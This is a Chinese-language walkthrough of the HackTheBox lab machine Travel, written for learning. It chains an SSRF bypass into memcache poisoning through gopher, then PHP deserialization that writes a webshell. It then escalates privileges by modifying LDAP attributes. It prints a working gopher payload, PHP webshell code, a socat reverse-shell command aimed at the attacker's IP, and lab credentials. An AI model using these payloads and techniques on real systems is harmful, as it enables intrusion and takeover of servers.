Travel这台靶机真的是做hackthebox以来遇到的最佳靶机了。相比之前因为pwn的知识而根本没法下手的一些hard靶机。Travel属于纯渗透WEB知识,而且非常接近实战。难度甚至完全可以担当insane了。其起手式相比其他靶机相当困难。但我也因此学到了ssrf利用的新姿势,并且在之后的提权部分也基本上是面对完全未知的系统操作。所以最后完成的瞬间真的非常高兴。毕竟这是自己第一次做出不到四位数solved的靶机。整个过程中也遇到了很多困难。感谢anoNym1ty与traut的帮助。在他们给我的提示下我才能找到下手点并逐步完成渗透的过程。
Let's get it started.
由于Travel还是active状态,所以我会给文章上锁直到靶机退役。
9.14:靶机已退役
- 靶机ip:10.10.10.189
- 攻击机ip: 10.10.14.6
initial foothold
Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-20 21:07 CST
Nmap scan report for 10.10.10.189
Host is up (0.44s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.17.6
|_http-server-header: nginx/1.17.6
|_http-title: Travel.HTB
443/tcp open ssl/http nginx 1.17.6
|_http-server-header: nginx/1.17.6
|_http-title: Travel.HTB - SSL coming soon.
| ssl-cert: Subject: commonName=www.travel.htb/organizationName=Travel.HTB/countryName=UK
| Subject Alternative Name: DNS:www.travel.htb, DNS:blog.travel.htb, DNS:blog-dev.travel.htb
| Not valid before: 2020-04-23T19:24:29
|_Not valid after: 2030-04-21T19:24:29
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
nmap扫描显示了22,80与443端口。值得注意的是这次我们的nmap直接爆出了除www外的两个子域名blog.travel.htb
与blog-dev.travel.htb
。这实际上节省了我们后续的很多时间。
然后老规矩一个个来了。
- travel.htb。只是单纯的一个静态网页。中间提到blog字眼。看来是暗示了
blog.travel.htb
。 - blog.travel.htb 这个很有可能是重头戏。因为访问之后发现是一个wordpress搭建的网站。有着很明显的wordpress特征。且首页源码内有一段注释提到了
-dev
to-prod
。似乎是blog-dev
的提示。 - blog-dev.travel.htb 访问直接是403。且跟前两者一样都是nginx服务。
-
https://www.travel.htb 直接访问会显示证书错误。网页提醒说要去
non-https
站看。因此没有过多信息。
因为没有过多有用的点。所以我们必须得用wfuzz来收集更多目录信息了。这一步基本上就两种选择:目录爆破或者子域名爆破。其中子域名我们应该已经齐全了,接下来就是一个不漏的进行目录爆破。(这点非常重要,因为我第一次忘记对blog-dev进行信息收集,所以导致错失关键信息)
对blog.travel.htb可以使用wpsscan 收集下wordpress的信息
wpscan --url https://xxxxx --enumerate vtp
并没有什么收获。之后用wfuzz对网站直接fuzzdir。也只是得到一些普通的wordpress路径。
ps: 这里因为自己第一次下手wordpress之类的站。导致对一些常规的php文件与路由会过分关注。比如一般robots.txt中会出现的allow: /wp-admin/admin-ajax.php
.以及xmlrpc.php
。后者确实存在一些ping的命令调用,但是并没有什么用。而这个站还有wp-json
的res api。但是除了博文信息一无所获。
之后转向blog-dev.travel.htb
。开始使用的字典什么都没爆出来,但是之后换了/usr/share/wordlists/dirb/common.txt
后得到了一个.git/HEAD
的存在。原来是存在.git
泄露。(再吐槽下,kali自带的几个字典有时真的拉胯,如果是平时打CTF用的扫描器肯定不会出这种没爆出来.git的问题)
那就常规githack源码恢复。得到三个文件
README.md
# Rss Template Extension
Allows rss-feeds to be shown on a custom wordpress page.
## Setup
* `git clone https://github.com/WordPress/WordPress.git`
* copy rss_template.php & template.php to `wp-content/themes/twentytwenty`
* create logs directory in `wp-content/themes/twentytwenty`
* create page in backend and choose rss_template.php as theme
## Changelog
- temporarily disabled cache compression
- added additional security checks
- added caching
- added rss template
## ToDo
- finish logging implementation
rss_template.php
<?php
/*
Template Name: Awesome RSS
*/
include('template.php');
get_header();
?>
<main class="section-inner">
<?php
function get_feed($url){
require_once ABSPATH . '/wp-includes/class-simplepie.php';
$simplepie = null;
$data = url_get_contents($url);
if ($url) {
$simplepie = new SimplePie();
$simplepie->set_cache_location('memcache://127.0.0.1:11211/?timeout=60&prefix=xct_');
//$simplepie->set_raw_data($data);
$simplepie->set_feed_url($url);
$simplepie->init();
$simplepie->handle_content_type();
if ($simplepie->error) {
error_log($simplepie->error);
$simplepie = null;
$failed = True;
}
} else {
$failed = True;
}
return $simplepie;
}
$url = $_SERVER['QUERY_STRING'];
if(strpos($url, "custom_feed_url") !== false){
$tmp = (explode("=", $url));
$url = end($tmp);
} else {
$url = "http://www.travel.htb/newsfeed/customfeed.xml";
}
$feed = get_feed($url);
if ($feed->error())
{
echo '<div class="sp_errors">' . "\r\n";
echo '<p>' . htmlspecialchars($feed->error()) . "</p>\r\n";
echo '</div>' . "\r\n";
}
else {
?>
<div class="chunk focus">
<h3 class="header">
<?php
$link = $feed->get_link();
$title = $feed->get_title();
if ($link)
{
$title = "<a href='$link' title='$title'>$title</a>";
}
echo $title;
?>
</h3>
<?php echo $feed->get_description(); ?>
</div>
<?php foreach($feed->get_items() as $item): ?>
<div class="chunk">
<h4><?php if ($item->get_permalink()) echo '<a href="' . $item->get_permalink() . '">'; echo $item->get_title(); if ($item->get_permalink()) echo '</a>'; ?> <span class="footnote"><?php echo $item->get_date('j M Y, g:i a'); ?></span></h4>
<?php echo $item->get_content(); ?>
<?php
if ($enclosure = $item->get_enclosure(0))
{
echo '<div align="center">';
echo '<p>' . $enclosure->embed(array(
'audio' => './for_the_demo/place_audio.png',
'video' => './for_the_demo/place_video.png',
'mediaplayer' => './for_the_demo/mediaplayer.swf',
'altclass' => 'download'
)) . '</p>';
if ($enclosure->get_link() && $enclosure->get_type())
{
echo '<p class="footnote" align="center">(' . $enclosure->get_type();
if ($enclosure->get_size())
{
echo '; ' . $enclosure->get_size() . ' MB';
}
echo ')</p>';
}
if ($enclosure->get_thumbnail())
{
echo '<div><img src="' . $enclosure->get_thumbnail() . '" alt="" /></div>';
}
echo '</div>';
}
?>
</div>
<?php endforeach; ?>
<?php } ?>
</main>
<!--
DEBUG
<?php
if (isset($_GET['debug'])){
include('debug.php');
}
?>
-->
<?php get_template_part( 'template-parts/footer-menus-widgets' ); ?>
<?php
get_footer();
template.php
<?php
/**
Todo: finish logging implementation via TemplateHelper
*/
function safe($url)
{
// this should be secure
$tmpUrl = urldecode($url);
if(strpos($tmpUrl, "file://") !== false or strpos($tmpUrl, "@") !== false)
{
die("<h2>Hacking attempt prevented (LFI). Event has been logged.</h2>");
}
if(strpos($tmpUrl, "-o") !== false or strpos($tmpUrl, "-F") !== false)
{
die("<h2>Hacking attempt prevented (Command Injection). Event has been logged.</h2>");
}
$tmp = parse_url($url, PHP_URL_HOST);
// preventing all localhost access
if($tmp == "localhost" or $tmp == "127.0.0.1")
{
die("<h2>Hacking attempt prevented (Internal SSRF). Event has been logged.</h2>");
}
return $url;
}
function url_get_contents ($url) {
$url = safe($url);
$url = escapeshellarg($url);
$pl = "curl ".$url;
$output = shell_exec($pl);
return $output;
}
class TemplateHelper
{
private $file;
private $data;
public function __construct(string $file, string $data)
{
$this->init($file, $data);
}
public function __wakeup()
{
$this->init($this->file, $this->data);
}
private function init(string $file, string $data)
{
$this->file = $file;
$this->data = $data;
file_put_contents(__DIR__.'/logs/'.$this->file, $this->data);
}
}
到这一步一下子得到了很多关键信息。我首先注意到的是template.php中存在的针对ssrf的waf以及一个可以写文件的反序列化利用。看来我们的最终目的肯定是反序列化写webshell了。
回过头看readme.提到它将这两个php文件放在twentytwenty的文件夹下。并且似乎使用了rss_template.php作为模板文件。
这点从我们访问网址提供的blog主页也可以看出。
然后注意rss_template.php.其中有很多关键语句。大致流程是。如果我们传了custom_feed_url
变量。其值将被送去过一层waf.然后调用curl+escapeshellarg(url)的系统命令。之后是与memcache
进行连接,进行了一系列操作。
同时,注意php中还有提到debug.php的存在。如果带上参数debug就会include debug.php.
这里大致的脉络肯定有了。反序列化存在一个写文件的利用。curl存在一个ssrf的利用.并且waf很好绕。关键在于如何通过ssrf 反序列化。我想大部分应该都只接触过ssrf打redis触发python 的pickle数据反序列化。但是这里是php,真的有办法让curl执行的ssrf触发反序列化吗?答案是肯定的。
首先我去了解了下Memcache。发现这是一个及其类似redis的键值存储数据库。只不过常用于缓存服务器。其大致操作与redis非常相近
#set 命令
set key flags exptime bytes [noreply]
value
#get 命令
get key
那么这里我们必须找到memcache与序列化数据的相互关联。不过在此之前我们可以先在页面尝试下这个ssrf.并且通过debug参数看看debug.php会返回什么
<!--
DEBUG
~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
| xct_43dbce622f(...) | |
| xct_0c192bbacb(...) | a:3:{s:3:"url";s:17:"http://0.0.0.(...) |
| xct_58f1d97bfd(...) | a:4:{s:5:"child";a:1:{s:0:"";a:1:{(...) |
~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
我发现它似乎的确是按键值序存储的。并且数据的确是反序列化数据。但是我们看不到完整的键名。也不清楚是否存在反序列化的过程,还是只是单纯序列化存入。
那么我们恐怕得深入下源码了。这里关于memcache的链接主要用到的是/wp-includes/class-simplepie.php
我们来审计一下。
$simplepie = new SimplePie();
$simplepie->set_cache_location('memcache://127.0.0.1:11211/?timeout=60&prefix=xct_');
//$simplepie->set_raw_data($data);
$simplepie->set_feed_url($url);
$simplepie->init();
$simplepie->handle_content_type();
可以看到这段与memcache相关代码主要是执行了四个函数。其中我们传入的url会被作为其中一个的参数。
来到Simplepie
构造函数主要是实例化了两个类。后面由于我们构造函数并没有传入参数所以不用管。而且其实可以看到现在只支持通过后面的函数传递构造参数。
SimplePie_Sanitize类跟一下没什么内容。大致是一个格式规范的作用。SimplePie_Registry似乎是一个注册器的功能。
回到rss,调用了set_cache_location
这里并没有对我们传入的参数memcache://127.0.0.1:11211/?timeout=60&prefix=xct_
进行处理
然后是
$simplepie->set_feed_url($url);
由于我们的url只有一个。所以不会进入in_array()
而是进入else分支。看到它用registrty属性调用了call方法。而registry就是之前实例化的SimplePie_Registry对象。我们跟过去看看
get_class方法
public function get_class($type)
{
if (!empty($this->classes[$type]))
{
return $this->classes[$type];
}
if (!empty($this->default[$type]))
{
return $this->default[$type];
}
return null;
}
我们送入call的type与method分别是Misc
与fix_protocol
.这里去找找到了default属性
Misc对应了SimplePie_Misc。返回了这个字符串。那么现在就可以回到call继续看调用了什么。由于$this->legacy
默认是空的,不满足in_array($class, $this->legacy)
。最后其实就是返回了一个$result = call_user_func_array(array($class, $method), $parameters);
也就是用SimplePie_Misc类的fix_protocol方法处理array($url, 1)
。
fix_protocol简单跟一下发现就是简单的url格式处理。所以如果我们开始传入的url是http://127.0.0.1/
这样标准的url。返回值就不会变。
(这里的registry其实就是一个注册器调用方法的例子,学习了)
那么最后结束。整个set_feed_url执行的是对$this->feed_url
与$this->permanent_url
的赋值。值均为我们传入的url.
接下来回到rss_templatee.php调用的init()
首先大致看下。发现存在一个if分支。我们进入的是if ($this->feed_url !== null)
的分支
可以看到首先是注册器有调用了一次SimplePie_Misc的parse_url方法处理url。然后我们进入$this->cache && $parsed_feed_url['scheme'] !== ''
的if分支。这里回过头看下 $this->cache
是默认true的。我们的url肯定也是http
协议的。所以确认进入if.看看调用了什么方法。
首先$force_feed
默认为false.那么我们直接看下面这个注册器调用的方法。也是重中之重。
$cache = $this->registry->call('Cache', 'get_handler', array($this->cache_location, call_user_func($this->cache_name_function, $url), 'spc'));
根据前面的注册器调用规则,我们知道这里肯定是调用SimplePie_Cache的gethandler方法。参数是cache_location
与call_user_func($this->cache_name_function, $url), 'spc')
组成的数组。
这里顺便看眼$this->cache_name_function
发现是默认为'md5'
的字符串。
那么现在看看Cache的gethandler方法。
首先处理了我们之前一直没用上的memcache://127.0.0.1:11211/?timeout=60&prefix=xct_
可以看到取出的$type
是memcache.
对应到设定的$handler
属性,返回的就是SimplePie_Cache_Memcache。那最后实际上这里get_handler是实例化了一个SimplePie_Cache_Memcache对象。
继续跟到SimplePie_Cache_Memcache去
这两句非常关键
$this->name = $this->options['extras']['prefix'] . md5("$name:$type");
$this->cache = new Memcache();
可以看到上面因为用parse_url处理了我们的memcache连接url。那么$options
应该是被我们的设置覆盖了一次。此时timeout=60(cache有效时间),prefix为xct_
而name的赋值涉及到送入构造方法的$name
与$type
.回头看看当初的参数。
$name
=>call_user_func($this->cache_name_function, $url)
=>md5($url)
$type
=>'spc'
也就是说name的命名方法是
xct_ + md5(md5('name')+ ':spc')
到这一步为止,我们不难发现键名其实是完全可控的。并且$cache
是一个SimplePie_Cache_Memcache对象。
那么回到init()
,下一步是跟下$this->fetch_data($cache)
方法,发现调用了$this->data = $cache->load();
终于看到了梦寐以求的unserialize
。而$data = $this->cache->get($this->name)
就是Memcache中按照键名取其值的内容。到此为止,我们总算找到了反序列化的利用链。
也就是说,我们每次调用ssrf时。对应的url都会被存进memcache并且反序列化。而这就带来了利用的机会。
在实际做靶机时,我是先用ssrf打memcache,再回过头看键名的问题的。实际上ssrf打memcache用gopherus可以轻松生成payload
传入我们之前准备的序列化写shell的序列化数据
class TemplateHelper
{
public $file;
public $data;
}
$o=new TemplateHelper();
$o->file='byc.php';
$o->data='<?php eval($_REQUEST[byc]);?>';
echo(serialize($o));
O:14:"TemplateHelper":2:{s:4:"file";s:7:"byc.php";s:4:"data";s:31:"<?php system($_REQUEST[byc]);?>";}
生成数据
gopher://127.0.0.1:11211/_%0d%0aset%20xct_byc404%204%200%2099%0d%0aO:14:%22TemplateHelper%22:2:%7Bs:4:%22file%22%3Bs:7:%22byc.php%22%3Bs:4:%22data%22%3Bs:29:%22%3C%3Fphp%20eval%28%24_REQUEST%5Bbyc%5D%29%3B%3F%3E%22%3B%7D%0d%0a
当然这里ssrf会因为127.0.0.1被禁。不过使用0.0.0.0
即可。跟网鼎杯郁师傅的题一样的。
先打一发随便设个键名xct_byc404
从include 的 debug.php可以看到,我们成功写入序列化数据。
那么接下来利用的思路就很简单了。我们提前设计好url.计算出其对应的memcache存储键名。然后用gopherssrf打memcache,设置好键名与序列化payload。接下来再传提前设计的url,即可触发反序列化。
这里我准备的是http://127.0.0.2/
按照上面的规则,生成的键名应该是xct_43dbce622f33d358dcd3bff9f2994ac8
那么ssrf打一发
接着再把url改成http://127.0.0.2/
传一次。访问wp-content/themes/twentytwenty/logs/byc.php发现成功写入webshell
那么接下来就只用弹shell了
成功拿到www-data
小结下。这一部分的难度恐怕是前所未有。因为很少有出现ssrf打memcache的情况。并且其涉及的反序列化还需要进框架深挖。这种接近实战的点真的非常难得,给出题人点个赞。同时也提醒我一点,ssrf触发序列化不再是python的专利了。用php也是一种门道。我们同样可以挖出一条利用链。
privesc to lynik-admin
getshell后,首先把shell往html目录cp一份。因为logs下的文件会被定期删除。
接着开始enumertion了。首先自己先去wp-confg.php找信息。发现了database用户跟密码
db: wp
wp:fiFtDDV9LYe8Ti
但是却发现因为没有升级shell的原因导致出不来mysql界面(操作还是没问题的,但是太难受了),索性放弃mysql。跑了下linpeas.sh
由于种种原因,这里linpeas.sh没跑完就提前终止了。实际上是因为这个docker容器里有两份wordpress源码。内容过多,导致linpeas会呈现很多其实并没有什么用的内容。
不过即便如此,linpeas还是能找到/opt/wordpress
下的一个sqlbackup文件
backup13-04-2020.sql
其内容同样过多。因此我们直接下到本地,寻找其中user信息
cat *.sql | grep user
这次得到了两个用户
INSERT INTO `wp_users` VALUES (1,'admin','$P$BIRXVj/ZG0YRiBH8gnRy0chBx67WuK/','admin','admin@travel.htb','http://localhost','2020-04-13 13:19:01','',0,'admin'),(2,'lynik-admin','$P$B/wzJzd3pj/n7oTe2GGpi5HcIl4ppc.','lynik-admin','lynik@travel.htb','','2020-04-13 13:36:18','',0,'Lynik Schmidt');
把两个hash存起来,hashcat 爆破之
hashcat -m 400 -a 0 --force -o pass.txt wp_pass /usr/share/wordlists/rockyou.txt
这里第一个hash非常坑,使用rockyou字典跑完了都没跑出来。第二个hash倒是很快就能爆破出密码。
所以现在总算有一个有效的cred了。
lynik-admin:1stepcloser
尝试直接ssh登录,拿到user.txt
这一部分算是比较基础的enumerate.我个人认为linpeas可能还没有直接下手找关键文件效果好。同样即使获取了文件。也要注意提取关键信息,不要被太多垃圾信息混淆视线。
然后关于tty的方法。我后来发现除了python的以外还能使用socat升级shell.
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.14.6:4444
socat file:`tty`,raw,echo=0 tcp-listen:4444
privesc to root
登录到主机后首先很快发现当前目录有两个关键文件。
- ~/.ldaprc
HOST ldap.travel.htb
BASE dc=travel,dc=htb
BINDDN cn=lynik-admin,dc=travel,dc=htb
- .viminfo
# This viminfo file was generated by Vim 8.1.
# You may edit it if you're careful!
# Viminfo version
|1,4
# Value of 'encoding' when this file was written
*encoding=utf-8
# hlsearch on (H) or off (h):
~h
# Command Line History (newest to oldest):
:wq!
|2,0,1587670530,,"wq!"
# Search String History (newest to oldest):
# Expression History (newest to oldest):
# Input Line History (newest to oldest):
# Debug Line History (newest to oldest):
# Registers:
""1 LINE 0
BINDPW Theroadlesstraveled
|3,1,1,1,1,0,1587670528,"BINDPW Theroadlesstraveled"
# File marks:
'0 3 0 ~/.ldaprc
|4,48,3,0,1587670530,"~/.ldaprc"
# Jumplist (newest first):
-' 3 0 ~/.ldaprc
|4,39,3,0,1587670530,"~/.ldaprc"
-'' 1 0 ~/.ldaprc
|4,39,1,0,1587670527,"~/.ldaprc"
# History of marks within files (newest to oldest):
> ~/.ldaprc
* 1587670529 0
" 3 0
. 4 0
+ 4 0
收获了一个密码。Theroadlesstraveled
这里两个文件都与ldap相关。这点我们也可以从hosts中发现
127.0.0.1 localhost
127.0.1.1 travel
172.20.0.10 ldap.travel.htb
::1 ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
直接curl下看看
发现应该是一个openldap系统
在花了很长时间从零开始了解ldap后。我终于知道怎么跟ldap系统进行交互了。那就是使用ldapsearch。这里先看下ldapsearch 的help中给出的几个flag
ldapsearch
-D binddn bind DN
-w passwd bind password (for simple authentication)
DN就是每个用户独一无二的入口。比如我的DN就是cn=lynik-admin,dc=travel,dc=htb
.正好在ldaprc上提到了。而同理,密码就是Theroadlesstraveled
使用ldapsearch -D "cn=lynik-admin,dc=travel,dc=htb" -w Theroadlesstraveled
得到了许多返回值。其中前面一部分是这样的
# travel.htb
dn: dc=travel,dc=htb
objectClass: top
objectClass: dcObject
objectClass: organization
o: Travel.HTB
dc: travel
# admin, travel.htb
dn: cn=admin,dc=travel,dc=htb
objectClass: simpleSecurityObject
objectClass: organizationalRole
cn: admin
description: LDAP administrator
# servers, travel.htb
dn: ou=servers,dc=travel,dc=htb
description: Servers
objectClass: organizationalUnit
ou: servers
# lynik-admin, travel.htb
dn: cn=lynik-admin,dc=travel,dc=htb
description: LDAP administrator
objectClass: simpleSecurityObject
objectClass: organizationalRole
cn: lynik-admin
userPassword:: e1NTSEF9MEpaelF3blZJNEZrcXRUa3pRWUxVY3ZkN1NwRjFRYkRjVFJta3c9PQ==
这里我们发现自己的用户lynik-admin起到的正是ldap admin的角色。不过同时还有另一个admin。我们自身的信息暴露出的还有一个userPassword.但是这串密码base4decode后的内容也是不可破解的。
除了上面这些以外,我们还收集到了一堆似乎并不存在的用户
在这一步我卡了很久。很大程度上是因为对ldap不熟悉。并且网上并没有什么关于ldap与提权相关的信息。但是搜集了一些文章后,大致发现几点
- ldap admin可以修改其他用户的属性
- ldap支持 sshPublickey 属性
https://www.digitalocean.com/community/tutorials/how-to-use-ldif-files-to-make-changes-to-an-openldap-system
http://pig.made-it.com/ldap-openssh.html
https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/
这几篇文章读完后,大致心里有了数:如果我们修改uidNumber,gidNumber这样的关键信息。并且给其ssh key。我们就能更改用户角色并且登录。
这里尝试设置密码并不太可行。所以无法直接su到用户。但是如果设置ssh公钥就没有这个问题
按照digitalocean那篇文章,我的最终payload
dn: uid=johnny,ou=users,ou=linux,ou=servers,dc=travel,dc=htb
changetype: modify
replace: uidNumber
uidNumber: 1001
-
replace: gidNumber
gidNumber: 27
-
add: objectClass
objectClass: ldapPublicKey
-
add: sshPublicKey
sshPublicKey: ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDwCi7CgbhlT2JWuhFOWWv+O3ENplGfGc9uwiKZ4W7GIbFI3rytRnmn8OalqGwQs++QQF1MQRUIVyJRjB0gdYoccKRs1GlQAcoXDBsmGp7NpIXIlYQ24kmcyLhAY85Al75li+cv/5j1RlN/W0eqoxuKIY6/g2F7FXbO3ZQSGRUtN6b52ePeJLIuOwn+FzXsnhuMPADDtMu7Eseh3i49N/KK3c/COZ6YxA2RYbzqNNIYyIWZK/z89FTAgNVQjNZqGsFjxkKZqIWbiSuo/c/UJauRetrv8vcvkL+FaXMUZMhkf6x7diX1Qkv7Fn4SW0BbQrx+zpZfFVycx3CmTMXd2KRMfOVpRJmNF4rG2ndcX/HIfM1fNZiTYL126TddLmGVKxzCircfp/xRwogKyznbwGR5RV078Y0L6iDl8KLTU+lFmeNxqlqkGvTc0xbjjSpLbKLoWM5Pg3Lvvq29wYk6+iurTcm8aPNQkaYn+wRS8bZ4gdOF6y9RzbMZIW9Mn3YTcxU= root@byc404
这里我选择johnny这个用户。因此首先把它的dn放在第一行。之后通过changetype: modify
后,就能通过replace
替换属性值(有的属性不支持多个值)add
增加属性值了。
通过将uid改为1001(lynik-admin)。以及将gid改为27(sudo group )。我们就能拥有sudo的权限。
ssh登录johnny
既然有了sudo的权限。那就直接su 到 root吧。由于之前的uid已经设置为lynik-admin。所以我们是知道sudo时的用户密码的。
rooted!
这一部分其实相对于我而言几次出现了毫无思路的情况。还是因为对ldap不熟悉导致的。不过真正坑了几篇文章后还是了解到了非常多的知识。对ldap也有了新的见解(然而我跟大多数人一样,认为这是个垃圾玩意).
summary
整体来说travel的确是个难得的优秀靶机。我也在htb上给了5星好评。其中起手式部分的确让我打开眼界,拓宽了我对ssrf的认识。如果能力足够的话也许我会尝试把类似的知识点拿到比赛中,让大家都了解下这个很有价值的利用点。:)